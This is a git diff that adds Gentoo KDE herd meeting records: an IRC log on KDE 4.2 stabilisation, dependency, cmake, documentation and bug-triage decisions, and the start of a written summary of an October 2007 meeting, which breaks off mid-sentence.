+[21:52:36] <wired> i can test again
+[21:52:45] --> himikof (n=himikof@129.167.249.ozerki.net) has joined #gentoo-kde
+[21:52:51] --> Varox (n=Varox@p4FD441A6.dip.t-dialin.net) has joined #gentoo-kde
+[21:53:04] <scarabeus> wired: ok
+[21:53:08] <scarabeus> i will leave it up to you
+[21:53:18] <bumbl> gnokii + bluez + kdebluetooth4 + /me = /me insane
+[21:53:34] <wired> ok. i think i saw a patch for solid and bluez4 somewhere
+[21:53:39] <-- Ghabit (n=quassel@91.149.157.195) has quit ("No Ping reply in 30 seconds.")
+[21:53:41] <scarabeus> ok as sidenote and selfegomasturbation, this week i fixed KOFFICE and it works fine
+[21:53:53] <scarabeus> so we are prepared to add it for the tree :]
+[21:53:54] --> Ghabit (n=quassel@91.149.157.195) has joined #gentoo-kde
+[21:53:58] <tampakrap> i was about to ask it, what was the issue?
+[21:54:00] <bonsaikitten> yey
+[21:54:16] <scarabeus> i spent 6-7 hours on it
+[21:54:21] -*- wired writes down todo notes ^_^
+[21:54:29] <scarabeus> and developed nice cmake hate :D
+[21:54:40] <tampakrap> ok well done
+[21:54:58] --> bschindler|away (n=quassel@zux221-218-241.adsl.green.ch) has joined #gentoo-kde
+[21:55:17] <bonsaikitten> haha
+[21:55:25] <bonsaikitten> build systems seem to be very good for hate
+[21:55:30] <scarabeus> indeed
+[21:55:39] <scarabeus> but still i like it more than scons and bam
+[21:55:42] <jmbsvicetto> scarabeus: so you've finally learned to hate cmake? :P
+[21:55:53] <scarabeus> jmbsvicetto: sorry for my disbelieve
+[21:55:53] <jmbsvicetto> scarabeus: Are you feeling the love for autotools again? ;)
+[21:55:57] <scarabeus> yes :D
+[21:55:57] --> kostekjo (n=opera@chello084010120054.chello.pl) has joined #gentoo-kde
+[21:56:03] <scarabeus> cause autotools wont allow such messy code
+[21:56:08] <-- Varox (n=Varox@p4FD441A6.dip.t-dialin.net) has quit (Remote closed the connection)
+[21:56:08] <scarabeus> or i didnt see it anywhere
+[21:56:17] <jmbsvicetto> hehe
+[21:56:28] <scarabeus> reavertm: pingping
+[21:56:29] <alexxy> scarabeus: take a look @gromacs
+[21:56:30] <alexxy> =)
+[21:56:30] <jmbsvicetto> scarabeus: you should check kde autotools - it's also great ;)
+[21:56:39] <scarabeus> :D
+[21:56:39] <alexxy> to see autotools mess code
+[21:56:47] <scarabeus> ok ok dont make me ruin my ideals
+[21:56:52] <jmbsvicetto> hehe
+[21:56:59] <bonsaikitten> let's rewrite kde to use maven
+[21:57:09] <bonsaikitten> that would be orgasmic
+[21:57:14] <jmbsvicetto> bonsaikitten: let's use propper autotools :P
+[21:57:25] <bonsaikitten> jmbsvicetto: that would have been my second-best suggestion :)
+[21:57:46] <scarabeus> ok jmbsvicetto do you have some items that we need to squash for 4.2 stabling
+[21:57:54] <scarabeus> currently we get hit by only minor stuff
+[21:58:04] <scarabeus> so i am asking if you have something actualy major
+[21:58:04] --> non7top (n=non7top@77.66.156.160) has joined #gentoo-kde
+[21:58:11] <jmbsvicetto> we need to double check webkit, qt-phonon and java deps
+[21:58:21] <scarabeus> jmbsvicetto: i already did webkit optional
+[21:58:23] <jmbsvicetto> some arches don't support any or some of these
+[21:58:41] <alexxy> mips dont have java
+[21:58:50] <scarabeus> for that we have virtuoso i guess
+[21:58:53] <alexxy> at least untill icedtea6 will hit tree
+[21:58:54] <tampakrap> isn't the java issue fixed for soprano and such?
+[21:58:56] <scarabeus> btw that package needs to be splitted
+[21:58:58] <yngwin> which reminds me, can we make all deps in kde4-base.eclass optional?
+[21:59:03] <scarabeus> cause it is 150mb big as one
+[21:59:11] <scarabeus> yngwin: talk with me later about it
+[21:59:15] <yngwin> ok
+[21:59:16] <scarabeus> i am open for suggestions
+[21:59:56] <-- S-man (n=quassel@cc84863-b.zwoll1.ov.home.nl) has quit (Remote closed the connection)
+[22:00:09] <tampakrap> i'll repeat, isn't the java issue fixed?
+[22:00:18] <alexxy> tampakrap: seems yes
+[22:00:34] <alexxy> at least i have sane deps tree on mips
+[22:00:38] <jmbsvicetto> tampakrap / alexxy: Have you talked to ali_bush about that?
+[22:00:49] <wired> i talked with ali_bush
+[22:00:51] <jmbsvicetto> He was reporting an issue with gen1 jvms
+[22:01:05] <wired> he said he'll look into it tomorrow
+[22:01:14] --> S-man (n=quassel@cc84863-b.zwoll1.ov.home.nl) has joined #gentoo-kde
+[22:01:41] <scarabeus> great :]
+[22:01:43] <bumbl> virtuoso does need ~15mb (the parts kde actually uses)
+[22:02:18] <scarabeus> yes but the rest is 10x bigger that is why i said that we should split it
+[22:02:27] <reavertm> (apparently)
+[22:02:54] <yngwin> (qt-)phonon is not supported/keyworded on alpha, ia64, mips, sparc and x86-fbsd
+[22:02:55] <bumbl> yep
+[22:03:12] <reavertm> stil the idea of splitting proposed by trueg is rather silly? (virtuoso-data, virtuoso-backends? it's database server :P)
+[22:03:17] <alexxy> yngwin: i'll keyword phonon on mips
+[22:03:22] <yngwin> ok
+[22:03:31] <hwoarang> alexxy: please keyword qt-demo as well
+[22:03:32] <jmbsvicetto> webkit seems to have problems at least in big endian arches
+[22:03:39] <alexxy> hwoarang: later
+[22:03:44] <hwoarang> yes
+[22:03:44] <alexxy> only after kde =)
+[22:03:52] <reavertm> btw, there is probably no more separate phonon release
+[22:04:03] <alexxy> jmbsvicetto: my mips is bigendian
+[22:04:27] <bumbl> USE-flags if possible
+[22:05:00] <jmbsvicetto> alexxy: at least for sparc and I think ppc64 webkit has alignment issues
+[22:05:41] -*- alexxy thinks that we should have abi and endianes keywords for packages
+[22:05:47] <yngwin> only sparc
+[22:05:58] <yngwin> ppc64 does have qt-webkit keyworded
+[22:06:29] <yngwin> alpha and ia64 dont
+[22:07:33] <wired> on the soprano[sesame2] java issue, it seems sesame doesn't like sun-jre-bin
+[22:08:15] <scarabeus> ok lads
+[22:08:16] <tampakrap> isn't this fixed?
+[22:08:31] <scarabeus> i will take care of easying the deps in eclass and you take care about keywording and deps :]
+[22:09:22] <reavertm> wired to build? of it doesn't like switching between sun-jdk and sun-jre-bin after it was succesfully built
+[22:09:54] --> Zucca (i=zucca@a88-112-55-25.elisa-laajakaista.fi) has joined #gentoo-kde
+[22:09:54] <wired> reavertm: when i was testing it it would skip sesame2 support if sun-jre-bin was set as system-vm
+[22:10:05] <scarabeus> build fail
+[22:10:14] <scarabeus> it need somebody from java to look and investigate
+[22:10:22] <wired> there's also another issue with sesame
+[22:10:34] <-- bschindler (n=quassel@zux221-218-241.adsl.green.ch) has quit (Read error: 110 (Connection timed out))
+[22:10:37] <wired> if you run emerge with sudo
+[22:10:41] <jmbsvicetto> scarabeus: I've heard of cmake not finding java
+[22:10:44] <wired> it skips sesame support
+[22:10:56] <wired> i talked to ali_bush about it and he said he'll look into it
+[22:10:56] <scarabeus> jmbsvicetto: it find it
+[22:11:00] <scarabeus> but marks as not sufficient
+[22:11:04] <scarabeus> i did bit investigation
+[22:11:13] <reavertm> you can't build it with sun-jre and no wonder - it needs jdk - that's first
+[22:11:44] <reavertm> second is - cmake FindJNI doesn't support many jdk's (IBM to mention one)
+[22:11:53] <wired> sounds reasonable, but no checks are done for it
+[22:11:59] <reavertm> (I have even some patch for that module somewhere)
+[22:12:08] <scarabeus> then give it upstream
+[22:13:52] <scarabeus> ok now we are getting to the fancy stuff
+[22:13:54] <-- kostekjo (n=opera@chello084010120054.chello.pl) has left #gentoo-kde
+[22:14:01] <scarabeus> reavertm: how is looking the cmake stuff you are working on
+[22:14:11] <scarabeus> now the eclass in the testing is working right, can we make it more gentooish
+[22:14:17] <scarabeus> or it is not worth efforts?
+[22:14:32] <hwoarang> gentooish?
+[22:14:34] <hwoarang> :D
+[22:14:40] <tampakrap> scarabeus: could you please expand? i have no idea what you are talking about
+[22:14:57] <reavertm> it's done, testing (rebuilding with kde now)
+[22:14:58] <scarabeus> tampakrap: obeying our variables and so on
+[22:15:05] <scarabeus> i tested too
+[22:15:08] <scarabeus> this afternoon
+[22:15:10] <scarabeus> works fine
+[22:15:16] <reavertm> it's about preserving gentoo C(XX)?_FLAGS and such
+[22:15:32] --> Zuccace_ (i=zucca@a88-112-55-25.elisa-laajakaista.fi) has joined #gentoo-kde
+[22:15:35] <hwoarang> goodie
+[22:15:43] <scarabeus> reavertm: ok so lets say we have this as final agreed?
+[22:15:50] <scarabeus> no more major updates :]
+[22:16:01] <reavertm> scarabeus you tested it with obsolete cmake-utils and I already fund some user of forum (or here) complainging at /usr/local and claimig that he sysnced overlay recently
+[22:16:13] <scarabeus> he is lying
+[22:16:14] <d00p> g
+[22:16:16] <scarabeus> it is working
+[22:16:17] <d00p> ups :p
+[22:16:23] <scarabeus> tested on tons of cmake-utils ebuilds
+[22:16:29] <wired> i have some stuff in /usr/local too
+[22:16:36] <scarabeus> wired: then try the stuff recompile
+[22:16:48] <wired> kk
+[22:16:57] <wired> its just soprano, i'll do it now
+[22:17:17] <reavertm> no, it's cmake issue, not soprano issue
+[22:17:22] <wired> i mean
+[22:17:25] <wired> its soprano files
+[22:17:26] <wired> in there
+[22:17:27] <wired> :)
+[22:17:31] <scarabeus> yes it is cmake-eclass isue
+[22:17:34] <scarabeus> so sync and try plz
+[22:17:39] <wired> on it
+[22:17:40] <scarabeus> so we can have it from the first hand
+[22:18:09] <-- yngwin (n=yngwin@gentoo/developer/yngwin) has quit (Read error: 104 (Connection reset by peer))
+[22:18:19] <scarabeus> meanwhile we removed htmlhandbook useflag so we have to create new generation for the docs :]
+[22:18:31] --> yngwin_ (n=yngwin@gentoo/developer/yngwin) has joined #gentoo-kde
+[22:18:31] *** Mode #gentoo-kde +o yngwin_ by ChanServ
+[22:18:40] <scarabeus> it is not biggie but it would be nice to have some reasonable doc system instead of broken htmlhandbook for 4.2.2
+[22:18:53] <tampakrap> any ideas on this?
+[22:18:57] <reavertm> doc USE flag?
+[22:19:19] <scarabeus> reavertm: hehehe
+[22:19:21] <yngwin_> sry, lost network
+[22:19:21] <tampakrap> i like this
+[22:19:27] <scarabeus> it was wrong
+[22:19:28] <reavertm> and what then - extracyting /doc when set?
+[22:19:48] <scarabeus> yup but wont be smart to have kde-docs package
+[22:19:52] <scarabeus> easier and convinient
+[22:20:47] -*- NoirSoldats seconds the idea of a kde-docs package.
+[22:21:08] <-> yngwin_ is now known as yngwin
+[22:21:22] <jmbsvicetto> why kde-docs?
+[22:21:25] <reavertm> so... gather docs from all kde-base modules?
+[22:21:35] <scarabeus> yup
+[22:21:36] <jmbsvicetto> If I only install 3 or 4 apps, why should I have the docs for all of KDE?
+[22:21:42] <-- looonger (n=looonger@host-89-231-128-7.rawamaz.mm.pl) has quit (Client Quit)
+[22:21:43] --> ayevee (n=quassel@62.140.238.1) has joined #gentoo-kde
+[22:21:53] -*- reavertm agrees with jmbsvicetto :P
+[22:21:54] <scarabeus> ok so useflag you say
+[22:21:55] <scarabeus> ok
+[22:21:57] <scarabeus> :(
+[22:22:04] <scarabeus> my nice idea squashed to the dust :D
+[22:22:04] <NoirSoldats> jmbsvicetto: How big would the docs really be though? In total?
+[22:22:10] <scarabeus> quite much
+[22:22:17] <reavertm> I mean, it's easier to maintain it at package level
+[22:22:28] <NoirSoldats> <100MB?
+[22:23:04] <ayevee> am I the only one for whom automo-9999 fails to build?
+[22:23:46] <wired> scarabeus: synced, emerge -av1 soprano but the files still installed in /usr/local
+[22:23:48] <NoirSoldats> scarabeus: Hmm, I have a suggestion for how to handle the docs, that should solve both ends of the spectrum.. if I may.
+[22:23:57] <hwoarang> ayevee: not now. we are in the middle of a meeting
+[22:24:08] <ayevee> hwoarang: sorry
+[22:24:19] <-- ayevee (n=quassel@62.140.238.1) has quit (Client Quit)
+[22:24:22] <hwoarang> np
+[22:24:34] <bumbl> scarabeus: why was htmlhandbook wrong?
+[22:24:59] <reavertm> htmlhandbook is installing *unpacked* docs
+[22:25:19] <bumbl> ah ok
+[22:25:20] <reavertm> sth like difference between .chm and  unpacked help contents
+[22:25:36] <bumbl> (i have no problem with that but i see the point)
+[22:27:06] <jmbsvicetto> are we still in point 3 ? :\
+[22:27:27] <scarabeus> :D
+[22:27:33] <scarabeus> we have 3 issues left
+[22:27:39] <jmbsvicetto> I see we'e jumped ab it
+[22:27:39] <scarabeus> i pick randomly :D
+[22:27:42] <jmbsvicetto> a bit*
+[22:27:48] <-- Zucca (i=zucca@a88-112-55-25.elisa-laajakaista.fi) has quit (Read error: 110 (Connection timed out))
+[22:27:54] <jmbsvicetto> 4, 5 and 6 ?
+[22:27:59] <scarabeus> ok reavertm we will probably work on this
+[22:28:12] <scarabeus> those are due to now
+[22:28:19] <wired> scarabeus: ^^ soprano still installs in /usr/local
+[22:28:22] <scarabeus> now lets talk about the splitting then
+[22:28:27] <scarabeus> wired: ok i will owrk on that
+[22:28:32] <wired> ok :)
+[22:28:55] <scarabeus> reavertm: do you know how is upstream going with its splitting for 4.3?
+[22:29:22] --> mikkoc_ (n=mikko@151.59.215.164) has joined #gentoo-kde
+[22:29:57] <tampakrap> upstream is going to split modules or to support splited builds?
+[22:29:58] <-- scratch[x] (n=scratch@83.239.148.148) has quit ("Ухожу")
+[22:30:10] <tampakrap> or something else?
+[22:30:32] <reavertm> related to binary/lib versioning? well, they don't seem to be eager (see the need - talked with dfaure ) to change .so version to make it possible to install multiple installations aside
+[22:30:51] <reavertm> I wonder who came up with the idea (maybe I don't have clear picture)
+[22:31:05] <scarabeus> jmbsvicetto: you are most relevant for this ideas
+[22:31:24] <jmbsvicetto> ok
+[22:32:19] <jmbsvicetto> Our talk at FOSDEM was that they would (could?) probably split all the bins, but there were some resistance to lbis
+[22:32:22] <jmbsvicetto> libs*
+[22:32:45] <jkt|> is that about keeping 4.x and 4.(x+1) aside?
+[22:33:13] <scarabeus> jkt|: yes and in same prefix
+[22:33:49] <reavertm> anyway - providing more restictive .so versions would restict their ABI compatibility - they already increase soversion for newer libs
+[22:34:02] <jmbsvicetto> scarabeus: that's the next step
+[22:34:13] -*- Sput thinks it does not make much sense to split libs that are always needed anyway
+[22:34:37] <reavertm> so we would need either dependencies on *every*library* level (and not tied to particular kde version) or just override their choice on our side
+[22:34:43] <jmbsvicetto> The first step from them was splitting the tarballs. The second step is providing support to have multiple versions around
+[22:34:53] <jmbsvicetto> Sput: I tend to agree
+[22:35:17] <jmbsvicetto> reavertm: libtool!!! ;)
+[22:35:26] <-- anselmolsm (n=anselmo@200.184.118.130) has quit (Read error: 113 (No route to host))
+[22:35:40] <scarabeus> hh
+[22:35:45] <-- Zuccace_ (i=zucca@a88-112-55-25.elisa-laajakaista.fi) has quit (Read error: 110 (Connection timed out))
+[22:35:58] <reavertm> I don't know libtool and I'm not eager to learn it (libtool is broken as well, besides :P)
+[22:36:36] <jmbsvicetto> reavertm: I mean that this issue of lib versions and deps is what libtool does
+[22:37:02] <reavertm> setting versions for kde libs is not a problem
+[22:38:09] <jmbsvicetto> reavertm: I mean run-time deps
+[22:38:32] <jmbsvicetto> reavertm: Having app A with a rdep on lib X-1.0.1 and not lib X-1.0.2
+[22:38:41] <-- Sho_ (n=EHS1@kde/hein) has quit (Read error: 104 (Connection reset by peer))
+[22:39:28] --> anselmolsm (n=anselmo@200.184.118.130) has joined #gentoo-kde
+[22:39:30] <jmbsvicetto> So, who's interested in this subject?
+[22:39:56] <scarabeus> i am not enought l33t for this one
+[22:40:00] --> kostekjo (n=opera@chello084010120054.chello.pl) has joined #gentoo-kde
+[22:40:32] <reavertm> neither am I
+[22:40:37] <-- kostekjo (n=opera@chello084010120054.chello.pl) has left #gentoo-kde
+[22:41:09] <jmbsvicetto> I don't believe you :P
+[22:42:06] --> root (n=root@hor-jdh171.hor.ucl.ac.uk) has joined #gentoo-kde
+[22:42:14] <jmbsvicetto> ok, I guess we should talk about this later. Let's see if we can get anything in the ml
+[22:42:15] <-> root is now known as lfranchi
+[22:42:26] <jmbsvicetto> Are you guys still awake? ;)
+[22:42:36] <-- lfranchi (n=root@hor-jdh171.hor.ucl.ac.uk) has quit (Client Quit)
+[22:42:37] <scarabeus> yep
+[22:42:39] <scarabeus> i am trying
+[22:42:42] <scarabeus> ook
+[22:42:43] <jmbsvicetto> hehe
+[22:42:48] <tampakrap> yeah i just woke up at 19:00 utc
+[22:42:48] <scarabeus> next thing
+[22:42:50] <scarabeus> importand one
+[22:42:51] --> rex_ (n=quassel@host135-243-dynamic.4-87-r.retail.telecomitalia.it) has joined #gentoo-kde
+[22:42:54] <scarabeus> snapshots
+[22:42:57] <scarabeus> what should we do
+[22:43:04] <scarabeus> upstream dont give a f**k
+[22:43:07] <tampakrap> stop providing them i guess
+[22:43:23] <jmbsvicetto> scarabeus: I'll try to mail Dirk directly
+[22:43:34] <reavertm> I don't feel like it's worth repacking
+[22:43:39] <tampakrap> Dirk is the packager?
+[22:43:40] <jmbsvicetto> last time it took him a few months to get back, but I won't lose anything by sending the mail
+[22:43:43] <jmbsvicetto> Philantrop: ping
+[22:43:44] <scarabeus> it is getting high priority cause pple liek the feature
+[22:43:49] <bonsaikitten> scarabeus: I can script fixed ones
+[22:43:56] <reavertm> Dirk Mueller is "release-team" :P
+[22:44:04] <-- Civil (n=Civilian@95-24-48-161.broadband.corbina.ru) has quit (Remote closed the connection)
+[22:44:05] <bonsaikitten> scarabeus: that way we'd use our own mirroring
+[22:44:06] <reavertm> that's why we can't get any feedback :P
+[22:44:22] <Philantrop> jmbsvicetto: Hm?
+[22:44:25] --> leo (n=leo@hor-jdh171.hor.ucl.ac.uk) has joined #gentoo-kde
+[22:44:26] <jmbsvicetto> reavertm: he's on the packagers and release ml
+[22:44:33] <-> leo is now known as lfranchi
+[22:44:40] <alexxy> we can repack this tarbolls
+[22:44:55] <reavertm> yes, but he's de facto only man reposnible for releases and tarballs
+[22:44:56] <jmbsvicetto> Philantrop: Have you tried to get someone from KDE about the snapshots names?
+[22:45:09] <lfranchi> yo Sput
+[22:45:11] <jmbsvicetto> Philantrop: By you, I mean you, Ingmar or someone else from exherbo
+[22:45:22] <lfranchi> Sput: i get to complain at you now :)
+[22:45:33] <Philantrop> jmbsvicetto: Nope, we decided we don't care enough. :)
+[22:45:38] <jmbsvicetto> hehe
+[22:45:42] <tampakrap> that's the spirit
+[22:45:42] <jmbsvicetto> Philantrop: slacker :P
+[22:45:44] <scarabeus> hehe
+[22:45:49] <scarabeus> that is the point we are getting now :D
+[22:46:10] <reavertm> actually we have similar approach I guess :)
+[22:46:12] <Philantrop> jmbsvicetto: "[05. 03. 2009 21:29] <Ingmar> slacker! :p" <-- to me. :->
+[22:46:24] <scarabeus> lol
+[22:46:25] <jmbsvicetto> hehe
+[22:47:00] <jmbsvicetto> I'll provide some feedback to the ml when / if I get something
+[22:47:03] <-- mikkoc (n=mikko@151.59.212.173) has quit (Read error: 110 (Connection timed out))
+[22:47:04] <-- pipipde (n=pip@e179244051.adsl.alicedsl.de) has quit (Read error: 110 (Connection timed out))
+[22:47:08] <alexxy> we still need tarbolls for snapshots
+[22:47:12] <tampakrap> what's the backup plan then?
+[22:47:15] <scarabeus> ok lets state we sent hte mail
+[22:47:22] <scarabeus> and bonsaikitten will repack for time being
+[22:47:26] <jmbsvicetto> I'm going to send another mail today
+[22:47:34] <scarabeus> ok you sent the mail
+[22:47:42] <tampakrap> jmbsvicetto: maybe CC to many KDE people and mls
+[22:47:59] <jmbsvicetto> tampakrap: I'm going to address the packagers, the release team and Dirk directly
+[22:48:01] <lfranchi> so i'm just getting started with kde-svn ebuilds on gentoo, and automoc failed to install (failed to even begin checking out from svn). can anyone in here help me?
+[22:48:09] --> pipipde (n=pip@e179247082.adsl.alicedsl.de) has joined #gentoo-kde
+[22:48:25] <alexxy> lfranchi: later1 we have meeting there
+[22:48:31] <lfranchi> oh, sorry
+[22:48:36] -*- lfranchi hides
+[22:48:59] <reavertm> lfranchi: I guess it will be fixed soon, but will, many people use live kde (didn't have time to look up the issue)
+[22:49:12] <scarabeus> bonsaikitten: so you can rly pack it with not big effort?
+[22:49:42] <alexxy> scarabeus: we can repack them as tar.lzma
+[22:49:43] <alexxy> =)
+[22:49:47] <scarabeus> sweeet
+[22:49:50] <alexxy> via scripts
+[22:49:54] -*- jmbsvicetto kills alexxy 
+[22:49:58] <jmbsvicetto> tar.bz2 :P
+[22:50:08] <alexxy> jmbsvicetto: .lzma better =)
+[22:50:12] <wired> well since they really want their svn in the filename, maybe we can convince them to use a 4.x.SVNREV.tar.bz2 scheme?
+[22:50:26] <scarabeus> wired: well the svnrev is not deterministic
+[22:50:31] <reavertm> jmbsvicetto: if you mailed Dirk, you would be mentining placing .svnrevision file or sth in tarball?
+[22:50:31] <scarabeus> you have to go and check for that revnumber
+[22:50:40] <scarabeus> normaly you just add +1
+[22:50:56] <reavertm> as I guess it's at least the way we agreed with thiago
+[22:50:56] <wired> i see
+[22:51:08] <jmbsvicetto> reavertm: I can suggest that as an alternative
+[22:51:15] <wired> well i don't see them changing their minds any time soon, alexxy's log was pretty clear
+[22:51:38] <reavertm> jmbsvicetto: I mean, let him know we already discussed it with kde folks :P
+[22:52:09] <jmbsvicetto> reavertm: I will also ask for different options if they don't want weekly snapshots to be used by packagers
+[22:52:21] <reavertm> wired: well, you may read jmbsvicetto log as well (later that day)
+[22:52:57] <reavertm> if they don't want us to use - I think we should not use :P we just need to follow trunk changes then :P
+[22:53:31] <reavertm> It's sufficient to prepare next stable (4.3) release
+[22:53:34] --> Linux (n=marcus@92-234-252-159.cable.ubr06.blac.blueyonder.co.uk) has joined #gentoo-kde
+[22:53:41] <Linux> Hey everyone.
+[22:53:49] <reavertm> besides - people should use portage version :P
+[22:53:58] <jmbsvicetto> hehe
+[22:53:59] <Linux> Is KDE 4.2.1 available yet? I synced yesterday.
+[22:54:09] <NoirSoldats> Linux: Yes.
+[22:54:11] <yngwin> yes, sync again
+[22:54:16] <reavertm> so not making snapshots available we probably have greater 4.2 userbase to test and possibly stabilize later
+[22:54:19] <Linux> OK. :)
+[22:54:53] <jmbsvicetto> reavertm: the snapshots are useful, imo
+[22:55:10] <reavertm> as unstable snaphosts are not really *releases* but just svn dump - they are usually as broken as live
+[22:55:16] <tampakrap> i agree with reavertm, live is enough, we already maintain too many kde releases
+[22:55:22] -*- alexxy starts repacking kde 4.2.65
+[22:55:29] <scarabeus> :D
+[22:55:34] <scarabeus> alexxy: talk with kitten
+[22:55:42] <jmbsvicetto> ok, if no one is willing to work on them for now, let them rest
+[22:55:49] <scarabeus> ook
+[22:55:50] <scarabeus> agreed
+[22:55:54] <jmbsvicetto> We have enough things to take are already
+[22:56:18] <jmbsvicetto> scarabeus: bugs? bugz? BUGZ??? ;)
+[22:56:19] <scarabeus> last thing
+[22:56:24] <scarabeus> BUGZZZZZZZZZZZZZZZZZZZZZZZ
+[22:56:30] <jmbsvicetto> :)
+[22:56:30] <scarabeus> we have tons of them
+[22:56:31] <yngwin> zzzzzzzzzz
+[22:56:31] <scarabeus> many dupes
+[22:56:34] <scarabeus> many needs fix
+[22:56:37] <scarabeus> many are trivial
+[22:56:40] <jmbsvicetto> yngwin: :)
+[22:56:44] <scarabeus> and there is sh*tload of them
+[22:57:01] <tampakrap> nice, i was eating
+[22:57:14] <reavertm> don't read then ;)
+[22:57:15] <scarabeus> good now you will starve as me :D
+[22:57:22] <wired> hahahahahah
+[22:57:23] -*- Sput looks into automoc now
+[22:57:37] <Sput> except somebody fixed that already
+[22:57:43] <reavertm> Sput it may be as well cmake-utils related
+[22:58:01] <tampakrap> scarabeus: tell us the last issue and go to watch some pr0n
+[22:58:06] <scarabeus> :D
+[22:58:12] <scarabeus> the issue is we need to work on bugz
+[22:58:24] <Sput> tampakrap: you didn't watch pr0n during the meeting like the rest of us?
+[22:58:25] <scarabeus> we need smebody actualy devolting lots of time on them
+[22:58:44] <tampakrap> we need a cleanup as a first step
+[22:58:44] <jmbsvicetto> Should we set some goals about bugs?
+[22:58:53] <scarabeus> yep that might be good
+[22:58:57] -*- reavertm still has some updates 4.2.1 and wonders whether anyone wants them, especially with 4.2.1 removed from overlay :P
+[22:58:59] <tampakrap> take care of trackers, duplicates and resolved
+[22:59:01] <tampakrap> and then fixed
+[22:59:15] <jmbsvicetto> Do we want to reduce them to a certain number by X months? Do we want to set a goal of taking care of X bugs per week?
+[22:59:15] <scarabeus> reavertm: pastebin it :]
+[22:59:18] <tampakrap> i'm sure 100 of them are already fixed or duplicate
+[22:59:33] <hwoarang> yes
+[22:59:36] <hwoarang> or invalid
+[22:59:36] <tampakrap> jmbsvicetto: you are the leader, you should set the number
+[22:59:51] --> cypr1nus (n=cypr1nus@plus.ds14.agh.edu.pl) has joined #gentoo-kde
+[22:59:57] <reavertm> scarabeus: when I'm done rebuilding kde with them (along with cmake-utils and those pasted kde4 eclass thing - so far so good)
+[23:00:12] <scarabeus> actualy we can have policy like "you want to be in herd fix X bugz a month"
+[23:00:14] <scarabeus> :D
+[23:00:19] <scarabeus> or some other contribution to kde
+[23:00:51] <tampakrap> i'm ok will all these, just give us the deadlines
+[23:00:51] <alexxy> heh =)
+[23:01:07] <jmbsvicetto> OK. Let's have a vote: get bugs under X or fix X bugs per week?
+[23:01:25] <tampakrap> the second
+[23:01:27] <bonsaikitten> yes!
+[23:01:38] <scarabeus> the second is more reasonable :]
+[23:01:38] <reavertm> define "fix"
+[23:01:40] <jmbsvicetto> I think the later might be more productive and may help feeling work done
+[23:01:43] -*- bonsaikitten self-removes from the herd preemptively
+[23:01:44] <hwoarang> +1
+[23:01:53] <jmbsvicetto> bonsaikitten: hehe
+[23:01:56] <tampakrap> hhahahahahha
+[23:02:06] <scarabeus> bonsaikitten: we can give you expection for the kittening :D
+[23:02:08] <reavertm> marking as RESOLVED/FIXED only to decrease bug count is wrong approach  - I'd agree with flameeyes here :P
+[23:02:22] <scarabeus> well it has to be fixed too
+[23:02:30] <jmbsvicetto> I'm not going to create a rule "if you don't fix X bugs per week, you're out", but I think we should all try to solve at least X bugs per week
+[23:02:34] <bonsaikitten> haha
+[23:02:37] <yngwin> well, for starters it would probably help to weed out the duplicates
+[23:02:41] <bonsaikitten> well, I'm fixing too many other things
+[23:02:41] <jmbsvicetto> reavertm: sure
+[23:03:10] <scarabeus> jmbsvicetto: btw did you sent the mail about removing of members to nonactive kde members?
+[23:03:15] <jmbsvicetto> So, a reasonable number would be between 2 and 10?
+[23:03:35] <tampakrap> 4-10
+[23:03:57] <jmbsvicetto> 5 per week?
+[23:03:58] <scarabeus> a week
+[23:04:00] <scarabeus> 5
+[23:04:17] <scarabeus> but actualy we are fixing even more :P
+[23:04:21] <scarabeus> i have 5 for today :D
+[23:04:27] <scarabeus> more than 5
+[23:04:28] <d00p> lol
+[23:04:29] <scarabeus> :D
+[23:04:33] <dagger> ;)
+[23:04:35] <tampakrap> 10?
+[23:04:39] <d00p> 7?
+[23:04:41] <scarabeus> tampakrap: that is hard to tell
+[23:04:46] <jmbsvicetto> Ok, let's all try to fix at least 5 bugs per week
+[23:04:48] <scarabeus> bug a day might be good idea
+[23:04:51] <scarabeus> ook
+[23:04:57] <jmbsvicetto> tampakrap: Let's not aim too high
+[23:04:59] <scarabeus> at least 5 bugs per week
+[23:05:14] <-- Caster (i=Caster@gentoo/developer/caster) has quit ("Don't waste your time, or time will waste you.")
+[23:05:15] <tampakrap> fine
+[23:05:19] <jmbsvicetto> tampakrap: You're feel to fix 50 in a week if you can ;)
+[23:05:27] <tampakrap> oh i am?
+[23:05:34] <jmbsvicetto> yes :P
+[23:05:41] <tampakrap> ok now we are clear
+[23:05:42] <jmbsvicetto> bah, You're free*
+[23:05:44] <bumbl> a bug a day keeps the doctor away
+[23:05:53] <tampakrap> hahahhaaha
+[23:06:05] <scarabeus> bumbl: nice moto
+[23:06:07] <tampakrap> a bug per day keeps the ladys away
+[23:06:12] <scarabeus> rofl
+[23:06:13] <d00p> lawl
+[23:06:17] <dagger> hehe
+[23:06:20] <bumbl> lol
+[23:06:28] <scarabeus> dagger: you wanna help with bugz?
+[23:06:28] <jmbsvicetto> I suggest we had bumbl moto to our page ;)
+[23:06:32] <d00p> do you rly want that to happen?
+[23:06:32] <dagger> tampakrap: 10 bugs a day keep your life away :p
+[23:06:35] <dagger> scarabeus: sure
+[23:06:37] <scarabeus> jmbsvicetto: agreed
+[23:06:56] <jmbsvicetto> So, anything else?
+[23:07:01] <scarabeus> we are done
+[23:07:03] <scarabeus> dismissed
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20071013.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20071013.txt
new file mode 100644
index 00000000..567b83c0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20071013.txt
@@ -0,0 +1,72 @@
+Summary of 13 October 2007 KDE herd meeting
+
+Active participants: cryos, genstef, jmbsvicetto*, keytoaster, philantrop, tgurr
+In the channel: masterdriverz
+Missing: caleb, centic, carlo, deathwing00, mattepiu, troll, vanquirius
+* = invited guests
+
+- Project page: The update of the project page was approved by the participants.
+
+- Process improvement: This topic was postponed until the next meeting.
+
+- Misc: 
+
+1. Bump to KDE 3.5.8:
+The bump to KDE 3.5.8 is taking place in a git repository to allow for others
+to take part, too, and avoid critisism like for the last bump.
+This allows interested users to be "trained on the job" including the use of 
+our QA tools in a controlled environment outside the official tree.
+Furthermore, the KDE 3.5.8 is not meant to be public until the release as per
+upstream request.
+Nevertheless, we will put the finished packages into the tree as package.masked
+ASAP to allow arch teams and other devs to test. After that's done, a mail will 
+be sent to kde@g.o and the core mailinglist by Philantrop.
+
+2. KDE 3.5.8 in stable for 2007.1:
+We will *try* to get KDE 3.5.8 into stable in time for 2007.1 but if we don't, 
+the world won't stop spinning. We will *not* inform the release guys about us 
